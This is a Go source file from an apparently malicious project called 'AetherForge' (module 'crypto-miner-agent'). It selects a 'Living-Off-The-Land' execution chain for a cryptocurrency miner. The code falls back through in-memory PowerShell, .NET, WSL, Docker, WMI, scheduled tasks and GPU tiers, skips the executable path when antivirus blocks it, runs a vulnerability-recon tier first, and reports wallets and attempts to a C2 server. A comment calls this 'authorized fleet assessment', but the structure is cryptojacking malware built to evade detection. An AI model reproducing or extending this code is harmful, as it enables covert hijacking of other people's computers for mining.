Files
AetherForge/agent/miner/lotl_tier.go

298 lines
8.9 KiB
Go

package miner
import (
"runtime"
"strings"
"crypto-miner-agent/config"
)
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
type LOTLTier string
const (
TierExeSubprocess LOTLTier = "exe_subprocess"
TierDockerLoad LOTLTier = "docker_load"
TierContainer LOTLTier = "container"
TierWSL LOTLTier = "wsl"
TierPSInMemory LOTLTier = "ps_inmemory"
TierDotnet LOTLTier = "dotnet"
TierCPUInprocess LOTLTier = "cpu_inprocess"
TierVulnProbe LOTLTier = "vuln_probe"
TierWebView2Probe LOTLTier = "webview2_probe"
TierWMI LOTLTier = "wmi"
TierScheduledTask LOTLTier = "scheduled_task"
TierGPUCompute LOTLTier = "gpu_compute"
TierGPUSubprocess LOTLTier = "gpu_subprocess"
TierStratumDirect LOTLTier = "stratum_direct"
)
// TierAttempt records one tier try for C2/UI diagnostics.
type TierAttempt struct {
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
Tier LOTLTier `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet"`
Details map[string]interface{} `json:"details,omitempty"`
}
// TierReport is the live LOTL onion snapshot sent to C2.
type TierReport struct {
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
}
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
type MiningTierPolicy struct {
TierOrder []LOTLTier `json:"tier_order,omitempty"`
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
ForceTier LOTLTier `json:"force_tier,omitempty"`
}
// DefaultTierOrder is the canonical onion when the server sends no override.
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
var DefaultTierOrder = []LOTLTier{
TierExeSubprocess,
TierDockerLoad,
TierContainer,
TierWSL,
TierPSInMemory,
TierDotnet,
TierCPUInprocess,
TierWebView2Probe,
TierWMI,
TierScheduledTask,
TierGPUCompute,
TierGPUSubprocess,
TierStratumDirect,
}
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
func DefaultWindowsTierOrder() []LOTLTier {
return []LOTLTier{
TierWebView2Probe,
TierWMI,
TierScheduledTask,
TierGPUCompute,
}
}
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
func DefaultMiningTierPolicy() MiningTierPolicy {
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
}
// SelectMiningTierChain returns the ordered tier onion from server policy with
// local eligibility overrides from environment probes and forge execution mode.
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
base := policy.TierOrder
if len(base) == 0 {
base = DefaultTierOrder
}
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
for _, t := range policy.SkipTiers {
skipSet[t] = true
}
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
switch execMode {
case ExecutionInProcess:
skipSet[TierExeSubprocess] = true
skipSet[TierDockerLoad] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
skipSet[TierDotnet] = true
case ExecutionContainer:
skipSet[TierExeSubprocess] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
case ExecutionPowerShell:
skipSet[TierExeSubprocess] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierDotnet] = true
case ExecutionDotnet:
skipSet[TierExeSubprocess] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
case ExecutionSubprocess:
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
skipSet[TierDotnet] = true
}
// Diagnostics-driven automatic contingencies.
if probes.AVBlocksExe {
skipSet[TierExeSubprocess] = true
}
if !probes.Docker {
skipSet[TierContainer] = true
skipSet[TierDockerLoad] = true
}
if !HasImageTarPolicy(cfg) {
skipSet[TierDockerLoad] = true
}
if !probes.WSL {
skipSet[TierWSL] = true
}
if !probes.PowerShell {
skipSet[TierPSInMemory] = true
}
if !probes.DotNet {
skipSet[TierDotnet] = true
}
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
skipSet[TierGPUSubprocess] = true
skipSet[TierGPUCompute] = true
}
if strings.TrimSpace(cfg.PoolHost) == "" {
skipSet[TierStratumDirect] = true
}
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
skipSet[TierGPUCompute] = true
}
if runtime.GOOS != "windows" {
skipSet[TierWebView2Probe] = true
skipSet[TierWMI] = true
skipSet[TierScheduledTask] = true
skipSet[TierGPUCompute] = true
}
if policy.ForceTier != "" {
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
return []LOTLTier{policy.ForceTier}, skipped
}
skipSet[policy.ForceTier] = false
}
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
}
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
}
chain = make([]LOTLTier, 0, len(base))
for _, tier := range base {
if skipSet[tier] {
skipped = append(skipped, tier)
continue
}
if !tierEligible(tier, probes, cfg, nil) {
skipped = append(skipped, tier)
continue
}
chain = append(chain, tier)
}
if len(chain) == 0 {
chain = []LOTLTier{TierCPUInprocess}
}
return chain, skipped
}
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
if extraSkip != nil && extraSkip[tier] {
return false
}
switch tier {
case TierExeSubprocess:
return !probes.AVBlocksExe
case TierDockerLoad:
return probes.Docker && HasImageTarPolicy(cfg)
case TierContainer:
return probes.Docker
case TierWSL:
return probes.WSL
case TierPSInMemory:
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierDotnet:
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierCPUInprocess:
return true
case TierGPUSubprocess:
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
case TierStratumDirect:
return strings.TrimSpace(cfg.PoolHost) != ""
case TierWebView2Probe:
return runtime.GOOS == "windows" && probes.WebView2
case TierWMI:
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
case TierScheduledTask:
return runtime.GOOS == "windows"
case TierGPUCompute:
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
default:
return false
}
}
// PrimaryTiers are sequential CPU paths tried until one succeeds.
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
var out []LOTLTier
for _, t := range chain {
switch t {
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
out = append(out, t)
}
}
return out
}
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
// Vuln recon always runs first (report-only authorized fleet assessment).
func ProbeTiers(chain []LOTLTier) []LOTLTier {
out := []LOTLTier{TierVulnProbe}
for _, t := range chain {
if t == TierWebView2Probe {
out = append(out, t)
}
}
return out
}
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
switch tier {
case TierDockerLoad:
return MethodDockerLoad, true
case TierContainer:
return MethodContainer, true
case TierWSL:
return MethodWSL, true
case TierCPUInprocess:
return MethodInProcess, true
case TierGPUSubprocess:
return MethodGPUSubprocess, true
case TierStratumDirect:
return MethodStratumDirect, true
case TierWMI:
return MethodWMI, true
case TierScheduledTask:
return MethodScheduledTask, true
case TierGPUCompute:
return MethodGPUCompute, true
case TierVulnProbe:
return MethodVulnProbe, true
case TierWebView2Probe:
return MethodWebView2Probe, true
case TierPSInMemory:
return MethodPowerShell, true
case TierDotnet:
return MethodDotnet, true
default:
return "", false
}
}